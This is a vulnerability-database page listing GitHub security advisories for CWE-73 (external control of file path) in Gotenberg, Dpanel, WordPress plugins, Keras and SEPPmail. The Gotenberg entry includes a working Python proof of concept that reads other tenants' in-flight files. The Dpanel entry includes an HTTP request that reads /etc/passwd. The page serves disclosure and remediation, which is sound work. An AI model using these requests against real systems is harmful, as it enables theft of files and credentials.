Common Weakness Enumeration

CWE-73

Allowed

External Control of File Name or Path

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product allows user input to control or influence paths or file names that are used in filesystem operations.

911 vulnerabilities reference this CWE, most recent first.

GHSA-G924-CJX7-2RJW

Vulnerability from github – Published: 2026-05-07 01:15 – Updated: 2026-05-14 20:52
VLAI
Summary
Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme
Details

Summary

The /forms/chromium/convert/url and /forms/chromium/screenshot/url routes accept url=file:///tmp/... from anonymous callers. The default Chromium deny-list intentionally exempts file:///tmp/ so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request AllowedFilePrefixes guard to scope the read. The URL routes never set AllowedFilePrefixes, so the scope guard silently skips. Alice enumerates /tmp/, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.

Details

The default deny-list regex at pkg/modules/chromium/chromium.go:449 uses a negative lookahead to exempt /tmp/:

fs.StringSlice("chromium-deny-list",
    []string{`^file:(?!//\/tmp/).*`},
    "Set the denied URLs for Chromium using regular expressions - supports multiple values")

pkg/gotenberg/outbound.go:185-187 short-circuits IP validation for non-HTTP schemes:

if !httpLikeScheme(parsed.Scheme) {
    return outboundDecision{}, nil
}

So any file:///tmp/... URL passes FilterOutboundURL cleanly.

The HTML route pairs the exemption with a per-request scope guard (pkg/modules/chromium/routes.go:518):

options.AllowedFilePrefixes = []string{ctx.DirPath()}

and the CDP Fetch.requestPaused handler enforces the scope (pkg/modules/chromium/events.go:65-78):

if allow && strings.HasPrefix(e.Request.URL, "file://") && len(options.allowedFilePrefixes) > 0 {
    prefixMatch := false
    for _, prefix := range options.allowedFilePrefixes {
        if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
            prefixMatch = true
            break
        }
    }
    if !prefixMatch {
        allow = false
    }
}

The len(options.allowedFilePrefixes) > 0 condition skips the entire enforcement block when the slice is empty. The URL route handler at pkg/modules/chromium/routes.go:406-448 (convertUrlRoute) never populates AllowedFilePrefixes. MandatoryString("url", &url) takes the form value without scheme validation and passes it to convertUrl → chromium.Pdf → Chromium navigation.

Gotenberg stores uploaded request assets at /tmp/<gotenberg-work-uuid>/<request-uuid>/<file-uuid>.<ext> (pkg/gotenberg/fs.go:64-65). Chromium renders the targeted file:// URL as a PDF and the response body returns to the caller.

Proof of Concept

Reproduction uses the stock Docker image with no auth:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. waitDelay=15s stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):

import requests, threading, time, subprocess, re
TARGET = "http://localhost:3000"
SECRET = f"BOB-CROSS-REQ-LEAK-{int(time.time())}"

bob_html = f"<html><body><h1>{SECRET}</h1></body></html>".encode()

def bob_runs():
    requests.post(
        f"{TARGET}/forms/chromium/convert/html",
        files={"files": ("index.html", bob_html, "text/html")},
        data={"waitDelay": "15s"},
        timeout=60,
    )

def alice_reads(url):
    r = requests.post(
        f"{TARGET}/forms/chromium/convert/url",
        files={"url": (None, url)}, timeout=30,
    )
    if r.status_code != 200: return None
    open("/tmp/_alice.pdf", "wb").write(r.content)
    return subprocess.run(
        ["pdftotext", "/tmp/_alice.pdf", "-"],
        capture_output=True, text=True,
    ).stdout

threading.Thread(target=bob_runs, daemon=True).start()
time.sleep(2)

# Step 1: list /tmp/ to discover the gotenberg work UUID
tmp = alice_reads("file:///tmp/")
work = re.search(r"([0-9a-f-]{36})", tmp).group(1)

# Step 2: walk into the work dir to find an in-flight request dir
wd = alice_reads(f"file:///tmp/{work}/")
for req in re.findall(r"([0-9a-f-]{36})", wd):
    if req == work: continue
    rd = alice_reads(f"file:///tmp/{work}/{req}/")
    if rd and (m := re.search(r"([0-9a-f-]{36}\.html)", rd)):
        # Step 3: read bob's uploaded HTML
        txt = alice_reads(f"file:///tmp/{work}/{req}/{m.group(1)}")
        print("SECRET recovered:", SECRET in txt)
        break

# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)
r = requests.post(f"{TARGET}/forms/chromium/convert/url",
    files={"url": (None, "file:///etc/passwd")}, timeout=30)
print(f"/etc/passwd probe: HTTP {r.status_code}")  # 403 Forbidden

Output against gotenberg 8.31.0:

SECRET recovered: True
/etc/passwd probe: HTTP 403

file:///tmp/ directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim's request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit waitDelay) widen the window from milliseconds to seconds.

Impact

An unauthenticated caller enumerates /tmp/ on the Gotenberg host and reads the raw source files of other users' conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim's request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.

The deny-list regex holds for paths outside /tmp/. file:///etc/passwd, file:///proc/self/environ, and similar targets return HTTP 403. The primitive is scoped to /tmp/, not arbitrary filesystem read.

Recommended Fix

Remove the len(options.allowedFilePrefixes) > 0 condition at pkg/modules/chromium/events.go:65 so URL routes block every file:// sub-resource by default:

if allow && strings.HasPrefix(e.Request.URL, "file://") {
    if len(options.allowedFilePrefixes) == 0 {
        allow = false
    } else {
        prefixMatch := false
        for _, prefix := range options.allowedFilePrefixes {
            if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
                prefixMatch = true
                break
            }
        }
        if !prefixMatch {
            allow = false
        }
    }
}

Equivalent alternative: reject non-http/https schemes in the URL route handlers (convertUrlRoute, screenshotUrlRoute) before handing the URL to Chromium.

Found by aisafe.io

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.31.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T01:15:47Z",
    "nvd_published_at": "2026-05-14T16:16:23Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `/forms/chromium/convert/url` and `/forms/chromium/screenshot/url` routes accept `url=file:///tmp/...` from anonymous callers. The default Chromium deny-list intentionally exempts `file:///tmp/` so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request `AllowedFilePrefixes` guard to scope the read. The URL routes never set `AllowedFilePrefixes`, so the scope guard silently skips. Alice enumerates `/tmp/`, walks Gotenberg\u0027s per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.\n\n## Details\n\nThe default deny-list regex at `pkg/modules/chromium/chromium.go:449` uses a negative lookahead to exempt `/tmp/`:\n\n```go\nfs.StringSlice(\"chromium-deny-list\",\n    []string{`^file:(?!//\\/tmp/).*`},\n    \"Set the denied URLs for Chromium using regular expressions - supports multiple values\")\n```\n\n`pkg/gotenberg/outbound.go:185-187` short-circuits IP validation for non-HTTP schemes:\n\n```go\nif !httpLikeScheme(parsed.Scheme) {\n    return outboundDecision{}, nil\n}\n```\n\nSo any `file:///tmp/...` URL passes `FilterOutboundURL` cleanly.\n\nThe HTML route pairs the exemption with a per-request scope guard (`pkg/modules/chromium/routes.go:518`):\n\n```go\noptions.AllowedFilePrefixes = []string{ctx.DirPath()}\n```\n\nand the CDP `Fetch.requestPaused` handler enforces the scope (`pkg/modules/chromium/events.go:65-78`):\n\n```go\nif allow \u0026\u0026 strings.HasPrefix(e.Request.URL, \"file://\") \u0026\u0026 len(options.allowedFilePrefixes) \u003e 0 {\n    prefixMatch := false\n    for _, prefix := range options.allowedFilePrefixes {\n        if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n            prefixMatch = true\n            break\n        }\n    }\n    if !prefixMatch {\n        allow = false\n    }\n}\n```\n\nThe `len(options.allowedFilePrefixes) \u003e 0` condition skips the entire enforcement block when the slice is empty. The URL route handler at `pkg/modules/chromium/routes.go:406-448` (`convertUrlRoute`) never populates `AllowedFilePrefixes`. `MandatoryString(\"url\", \u0026url)` takes the form value without scheme validation and passes it to `convertUrl` \u2192 `chromium.Pdf` \u2192 Chromium navigation.\n\nGotenberg stores uploaded request assets at `/tmp/\u003cgotenberg-work-uuid\u003e/\u003crequest-uuid\u003e/\u003cfile-uuid\u003e.\u003cext\u003e` (`pkg/gotenberg/fs.go:64-65`). Chromium renders the targeted `file://` URL as a PDF and the response body returns to the caller.\n\n## Proof of Concept\n\nReproduction uses the stock Docker image with no auth:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n```\n\nPython script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. `waitDelay=15s` stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):\n\n```python\nimport requests, threading, time, subprocess, re\nTARGET = \"http://localhost:3000\"\nSECRET = f\"BOB-CROSS-REQ-LEAK-{int(time.time())}\"\n\nbob_html = f\"\u003chtml\u003e\u003cbody\u003e\u003ch1\u003e{SECRET}\u003c/h1\u003e\u003c/body\u003e\u003c/html\u003e\".encode()\n\ndef bob_runs():\n    requests.post(\n        f\"{TARGET}/forms/chromium/convert/html\",\n        files={\"files\": (\"index.html\", bob_html, \"text/html\")},\n        data={\"waitDelay\": \"15s\"},\n        timeout=60,\n    )\n\ndef alice_reads(url):\n    r = requests.post(\n        f\"{TARGET}/forms/chromium/convert/url\",\n        files={\"url\": (None, url)}, timeout=30,\n    )\n    if r.status_code != 200: return None\n    open(\"/tmp/_alice.pdf\", \"wb\").write(r.content)\n    return subprocess.run(\n        [\"pdftotext\", \"/tmp/_alice.pdf\", \"-\"],\n        capture_output=True, text=True,\n    ).stdout\n\nthreading.Thread(target=bob_runs, daemon=True).start()\ntime.sleep(2)\n\n# Step 1: list /tmp/ to discover the gotenberg work UUID\ntmp = alice_reads(\"file:///tmp/\")\nwork = re.search(r\"([0-9a-f-]{36})\", tmp).group(1)\n\n# Step 2: walk into the work dir to find an in-flight request dir\nwd = alice_reads(f\"file:///tmp/{work}/\")\nfor req in re.findall(r\"([0-9a-f-]{36})\", wd):\n    if req == work: continue\n    rd = alice_reads(f\"file:///tmp/{work}/{req}/\")\n    if rd and (m := re.search(r\"([0-9a-f-]{36}\\.html)\", rd)):\n        # Step 3: read bob\u0027s uploaded HTML\n        txt = alice_reads(f\"file:///tmp/{work}/{req}/{m.group(1)}\")\n        print(\"SECRET recovered:\", SECRET in txt)\n        break\n\n# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)\nr = requests.post(f\"{TARGET}/forms/chromium/convert/url\",\n    files={\"url\": (None, \"file:///etc/passwd\")}, timeout=30)\nprint(f\"/etc/passwd probe: HTTP {r.status_code}\")  # 403 Forbidden\n```\n\nOutput against gotenberg 8.31.0:\n\n```\nSECRET recovered: True\n/etc/passwd probe: HTTP 403\n```\n\n`file:///tmp/` directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim\u0027s request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit `waitDelay`) widen the window from milliseconds to seconds.\n\n## Impact\n\nAn unauthenticated caller enumerates `/tmp/` on the Gotenberg host and reads the raw source files of other users\u0027 conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim\u0027s request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.\n\nThe deny-list regex holds for paths outside `/tmp/`. `file:///etc/passwd`, `file:///proc/self/environ`, and similar targets return HTTP 403. The primitive is scoped to `/tmp/`, not arbitrary filesystem read.\n\n## Recommended Fix\n\nRemove the `len(options.allowedFilePrefixes) \u003e 0` condition at `pkg/modules/chromium/events.go:65` so URL routes block every `file://` sub-resource by default:\n\n```go\nif allow \u0026\u0026 strings.HasPrefix(e.Request.URL, \"file://\") {\n    if len(options.allowedFilePrefixes) == 0 {\n        allow = false\n    } else {\n        prefixMatch := false\n        for _, prefix := range options.allowedFilePrefixes {\n            if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n                prefixMatch = true\n                break\n            }\n        }\n        if !prefixMatch {\n            allow = false\n        }\n    }\n}\n```\n\nEquivalent alternative: reject non-`http`/`https` schemes in the URL route handlers (`convertUrlRoute`, `screenshotUrlRoute`) before handing the URL to Chromium.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-g924-cjx7-2rjw",
  "modified": "2026-05-14T20:52:53Z",
  "published": "2026-05-07T01:15:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-g924-cjx7-2rjw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42597"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme"
}

GHSA-GCH6-MVXW-6R79

Vulnerability from github – Published: 2024-12-09 06:30 – Updated: 2024-12-09 06:30
VLAI
Details

A vulnerability was found in SourceCodester Best House Rental Management System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /index.php. The manipulation of the argument page leads to file inclusion. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-12357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-09T05:15:06Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in SourceCodester Best House Rental Management System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /index.php. The manipulation of the argument page leads to file inclusion. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-gch6-mvxw-6r79",
  "modified": "2024-12-09T06:30:56Z",
  "published": "2024-12-09T06:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12357"
    },
    {
      "type": "WEB",
      "url": "https://pastebin.com/Qupf8YbH"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.287276"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.287276"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.457505"
    },
    {
      "type": "WEB",
      "url": "https://www.sourcecodester.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GCQF-PXGG-GW8Q

Vulnerability from github – Published: 2025-08-22 16:49 – Updated: 2025-08-29 20:34
VLAI
Summary
Dpanel has an arbitrary file read vulnerability
Details

Summary

Dpanel has an arbitrary file read vulnerability in the /api/app/compose/get-from-uri interface.Logged in to Dpanel ,this interface can be used to read arbitrary files.

Details

When a user logs into the administrative backend, this interface can read any files on the host/sever (given the necessary permissions), which may lead to system information leakage. The vulnerability lies in the GetFromUri function within the app/application/http/controller/compose.go file. The uri parameter submitted by the user in JSON format can be directly read and returned by os.ReadFile without proper security handling. image-20250702004157585 image-20250702004223184

PoC

POST /api/app/compose/get-from-uri HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJ......lWg==
Connection: close
Content-Type: application/json
Content-Length: 21

{"uri":"/etc/passwd"}

Impact

This vulnerability could lead to the leakage of sensitive server file information. In versions from 1.2.0 up to the latest (1.7.2), logged-in users can make requests to this interface.

Severity
4.8 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/donknap/dpanel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "last_affected": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-22T16:49:05Z",
    "nvd_published_at": "2025-08-22T16:15:44Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nDpanel has an arbitrary file read vulnerability in the /api/app/compose/get-from-uri interface.Logged in to Dpanel ,this interface can be used to read arbitrary files.\n\n### Details\nWhen a user logs into the administrative backend, this interface can read any files on the host/sever (given the necessary permissions), which may lead to system information leakage. The vulnerability lies in the GetFromUri function within the app/application/http/controller/compose.go file. The uri parameter submitted by the user in JSON format can be directly read and returned by os.ReadFile without proper security handling.\n![image-20250702004157585](https://github.com/user-attachments/assets/1f0e683b-bf0b-49e6-8d68-833fcf3f214d)\n![image-20250702004223184](https://github.com/user-attachments/assets/b5e89e02-f572-4edf-aaa8-566dea090d3f)\n\n### PoC\n```text\nPOST /api/app/compose/get-from-uri HTTP/1.1\nHost: x.x.x.x\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nAuthorization: Bearer eyJ......lWg==\nConnection: close\nContent-Type: application/json\nContent-Length: 21\n\n{\"uri\":\"/etc/passwd\"}\n```\n\n### Impact\nThis vulnerability could lead to the leakage of sensitive server file information. In versions from 1.2.0 up to the latest (1.7.2), logged-in users can make requests to this interface.",
  "id": "GHSA-gcqf-pxgg-gw8q",
  "modified": "2025-08-29T20:34:31Z",
  "published": "2025-08-22T16:49:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/donknap/dpanel/security/advisories/GHSA-gcqf-pxgg-gw8q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53363"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/donknap/dpanel"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3909"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dpanel has an arbitrary file read vulnerability"
}

GHSA-GCXW-MC4C-R5H7

Vulnerability from github – Published: 2026-05-27 12:31 – Updated: 2026-05-27 12:31
VLAI
Details

The Xpro Elementor Addons - Pro plugin for WordPress is vulnerable to Arbitrary File Reading in all versions up to, and including, 1.4.7 via the Draw SVG widget. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-0898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T11:16:16Z",
    "severity": "MODERATE"
  },
  "details": "The Xpro Elementor Addons - Pro plugin for WordPress is vulnerable to Arbitrary File Reading in all versions up to, and including, 1.4.7 via the Draw SVG widget. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.",
  "id": "GHSA-gcxw-mc4c-r5h7",
  "modified": "2026-05-27T12:31:21Z",
  "published": "2026-05-27T12:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0898"
    },
    {
      "type": "WEB",
      "url": "https://elementor.wpxpro.com"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1f87298b-8dae-4201-8f3b-477eaab3663d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GFMX-QQQH-F38Q

Vulnerability from github – Published: 2026-02-12 00:31 – Updated: 2026-02-18 22:38
VLAI
Summary
Duplicate Advisory: Keras vulnerable to arbitrary file read in the model loading mechanism (HDF5 integration)
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-3m4q-jmj6-r34q. This link is maintained to preserve external references.

Original Description

Arbitrary file read in the model loading mechanism (HDF5 integration) in Keras versions 3.0.0 through 3.13.1 on all supported platforms allows a remote attacker to read local files and disclose sensitive information via a crafted .keras model file utilizing HDF5 external dataset references.

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "keras"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "last_affected": "3.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-12T22:09:52Z",
    "nvd_published_at": "2026-02-11T23:16:03Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-3m4q-jmj6-r34q. This link is maintained to preserve external references.\n\n## Original Description\nArbitrary file read in the model loading mechanism (HDF5 integration) in Keras versions 3.0.0 through 3.13.1 on all supported platforms allows a remote attacker to read local files and disclose sensitive information via a crafted .keras model file utilizing HDF5 external dataset references.",
  "id": "GHSA-gfmx-qqqh-f38q",
  "modified": "2026-02-18T22:38:48Z",
  "published": "2026-02-12T00:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1669"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/security-research/security/advisories"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keras-team/keras"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Keras vulnerable to arbitrary file read in the model loading mechanism (HDF5 integration)",
  "withdrawn": "2026-02-18T22:38:48Z"
}

GHSA-GG9V-56PH-3GR7

Vulnerability from github – Published: 2026-04-22 09:31 – Updated: 2026-04-22 09:31
VLAI
Details

The HTTP Headers plugin for WordPress is vulnerable to External Control of File Name or Path leading to Remote Code Execution in all versions up to and including 1.19.2. This is due to insufficient validation of the file path stored in the 'hh_htpasswd_path' option and lack of sanitization on the 'hh_www_authenticate_user' option value. The plugin allows administrators to set an arbitrary file path for the htpasswd file location and does not validate that the path has a safe file extension (e.g., restricting to .htpasswd). Additionally, the username field used for HTTP Basic Authentication is written directly into the file without sanitization. The apache_auth_credentials() function constructs the file content using the unsanitized username via sprintf('%s:{SHA}%s', $user, ...), and update_auth_credentials() writes this content to the attacker-controlled path via file_put_contents(). This makes it possible for authenticated attackers, with Administrator-level access and above, to write arbitrary content (including PHP code) to arbitrary file paths on the server, effectively achieving Remote Code Execution.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T09:16:24Z",
    "severity": "HIGH"
  },
  "details": "The HTTP Headers plugin for WordPress is vulnerable to External Control of File Name or Path leading to Remote Code Execution in all versions up to and including 1.19.2. This is due to insufficient validation of the file path stored in the \u0027hh_htpasswd_path\u0027 option and lack of sanitization on the \u0027hh_www_authenticate_user\u0027 option value. The plugin allows administrators to set an arbitrary file path for the htpasswd file location and does not validate that the path has a safe file extension (e.g., restricting to .htpasswd). Additionally, the username field used for HTTP Basic Authentication is written directly into the file without sanitization. The apache_auth_credentials() function constructs the file content using the unsanitized username via sprintf(\u0027%s:{SHA}%s\u0027, $user, ...), and update_auth_credentials() writes this content to the attacker-controlled path via file_put_contents(). This makes it possible for authenticated attackers, with Administrator-level access and above, to write arbitrary content (including PHP code) to arbitrary file paths on the server, effectively achieving Remote Code Execution.",
  "id": "GHSA-gg9v-56ph-3gr7",
  "modified": "2026-04-22T09:31:33Z",
  "published": "2026-04-22T09:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4132"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L1296"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L1298"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L1403"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L671"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L722"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L97"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L1296"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L1298"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L1403"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L671"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L722"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L97"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ce010c6f-16bd-4178-a621-31ba6378946a?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GH4W-5VRF-HHCG

Vulnerability from github – Published: 2026-05-08 15:31 – Updated: 2026-05-18 18:31
VLAI
Details

SEPPmail Secure Email Gateway before version 15.0.4 contains an unauthenticated path traversal vulnerability in the identifier parameter of /api.app/attachment/preview that allows remote attackers to read arbitrary local files and trigger deletion of files in the targeted directory with the privileges of the api.app process.

Severity
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-44127"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-08T14:16:45Z",
